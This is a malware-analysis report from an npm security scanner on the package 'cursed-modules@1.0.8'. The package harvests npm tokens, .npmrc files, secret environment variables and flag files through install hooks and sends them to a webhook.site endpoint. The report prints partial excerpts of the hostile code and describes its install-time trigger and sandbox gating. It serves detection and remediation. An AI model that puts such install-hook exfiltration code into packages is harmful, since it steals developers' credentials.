registry / Credential exfiltration / cursed-modules

cursed-modules

Database interface for cursed ecto-modules

This report shows the evidence for cursed-modules@1.0.8. 16 of 20 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Direct source inspection confirms concrete unconsented credential/file harvesting and exfiltration reachable from install hooks and the main entrypoint. The challenge-container gate does not reduce maliciousness because the payload specifically targets secrets and local services when conditions match.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm lifecycle install hooks or requiring the package main index.js

Impact

Disclosure of npm tokens, .npmrc contents, environment secrets, challenge flags, and local service metadata; possible mutation of local module records containing stolen data.

Mechanism

credential and file harvesting with webhook/local API exfiltration

Attack narrative

On install, package.json runs install.js in all lifecycle phases; requiring the package runs index.js. The payload fingerprints for challenge-like containers, gathers npm tokens, .npmrc files, selected environment variables, flag files, host/network data, and listening ports, then posts the data to a webhook and embeds it in local API module manifests.

AI rationale

Evidence

package.jsoninstall.jsindex.js/root/.npmrc/usr/lib/node_modules/npm/.npmrc/app/.npmrc/home/node/.npmrc/etc/hosts/app/.bowerrc/flag/flag.txt/root/flag.txt/etc/resolv.conf

Network endpoints4

/a9d21bb7-9e09-446c-a85d-85f071ebcb82

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines preinstall/install/postinstall all running node install.js.
install.js and index.js execute immediately and are identical credential-harvesting payloads.
Reads /root/.npmrc, /app/.npmrc, /home/node/.npmrc, npm config tokens, filtered process.env, /flag paths, /etc/hosts and resolv.conf.
Uses execSync for ss/netstat, npm config, find / -name .npmrc, and writability checks.
Exfiltrates JSON data to https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82.
Also writes base64 data into local/hosts API modules via PUT /api/modules/ECT-987654 and ECT-472839.

Evidence against

Payload is gated on 12-hex hostname and /app existing, but this is sandbox/challenge targeting rather than benign behavior.
module.exports is empty and no legitimate database interface implementation is present.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystemNetworkShell

Supply chain

HighEntropyStrings

Source & flagged code

11 flagged

package.jsonView file

•scripts.postinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

index.jsView file

1const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L1

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

index.jsView on unpkg · L1

install.jsView file

1Trigger-reachable chain: scripts.preinstall -> install.js L1: const fs=require('fs'),http=require('http'),https=require('https'),{execSync}=require('child_process'),os=require('os'); L2: ... L6: const WH='https://webhook.site/a9d21bb7-9e09-446c-a85d-85f071ebcb82'; L7: const host=os.hostname(); L8: ... L38: bowerrc:read('/app/.bowerrc'), L39: env:JSON.stringify(Object.fromEntries(Object.entries(process.env).filter(([k])=>/registry|npm|auth|token|verdaccio|flag|htb|spectral/i.test(k)))), L40: flag:read('/flag')||read('/flag.txt')||read('/root/flag.txt')||'', ... L44: L45: const chunk=Buffer.from(JSON.stringify(data)).toString('base64'); L46: ... L61: req.on('error',()=>resolve(false));

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

install.jsView on unpkg · L1

publish-and-arm.shView file

•path = publish-and-arm.sh kind = build_helper sizeBytes = 1039 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

publish-and-arm.shView on unpkg

cursed-modules-999.0.1.tgzView file

•path = cursed-modules-999.0.1.tgz kind = high_entropy_blob sizeBytes = 8672 magicHex = [redacted]

High

Ships High Entropy Blob

Package ships high-entropy non-source blobs.

cursed-modules-999.0.1.tgzView on unpkg

•path = cursed-modules-999.0.1.tgz kind = compressed_blob sizeBytes = 8672 magicHex = [redacted]

Medium

Ships Compressed Blob

Package ships compressed or archive-like blobs.

cursed-modules-999.0.1.tgzView on unpkg

•path = cursed-modules-999.0.1.tgz kind = nested_archive_needs_inspection sizeBytes = 8672 magicHex = [redacted]

Low

Nested Archive Needs Inspection

Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.

cursed-modules-999.0.1.tgzView on unpkg

Source & flagged code

11 flagged · loading source

package.jsonView file

•scripts.postinstall = node install.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.preinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.install = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

•scripts.postinstall = node install.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

Findings

2 Critical3 High8 Medium5 Low

CriticalCredential Exfiltrationindex.js

CriticalTrigger Reachable Dangerous Capabilityinstall.js

HighInstall Time Lifecycle Scriptspackage.json

HighSandbox Evasion Gated Capabilityindex.js

HighShips High Entropy Blobcursed-modules-999.0.1.tgz

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumNetwork

MediumEnvironment Vars

MediumShips Build Helperpublish-and-arm.sh

MediumShips Compressed Blobcursed-modules-999.0.1.tgz

Affected versions and remediation

This report applies to cursed-modules@1.0.8.

The versions list below shows the verdict for each recorded version.

Avoid installing cursed-modules@1.0.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-06-30 23:37:12.271Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

20 known versions

1.0.8latestshownMaliciousCredential ExfiltrationBlockPublishedJun 30, 2026, 11:20 PM 1.0.7MaliciousMalwareBlockPublishedJun 30, 2026, 10:55 PM 1.0.6MaliciousMalwareBlockPublishedJun 30, 2026, 10:50 PM 1.0.5SuspiciousMalwareWarnUnder ReviewJun 30, 2026, 10:47 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code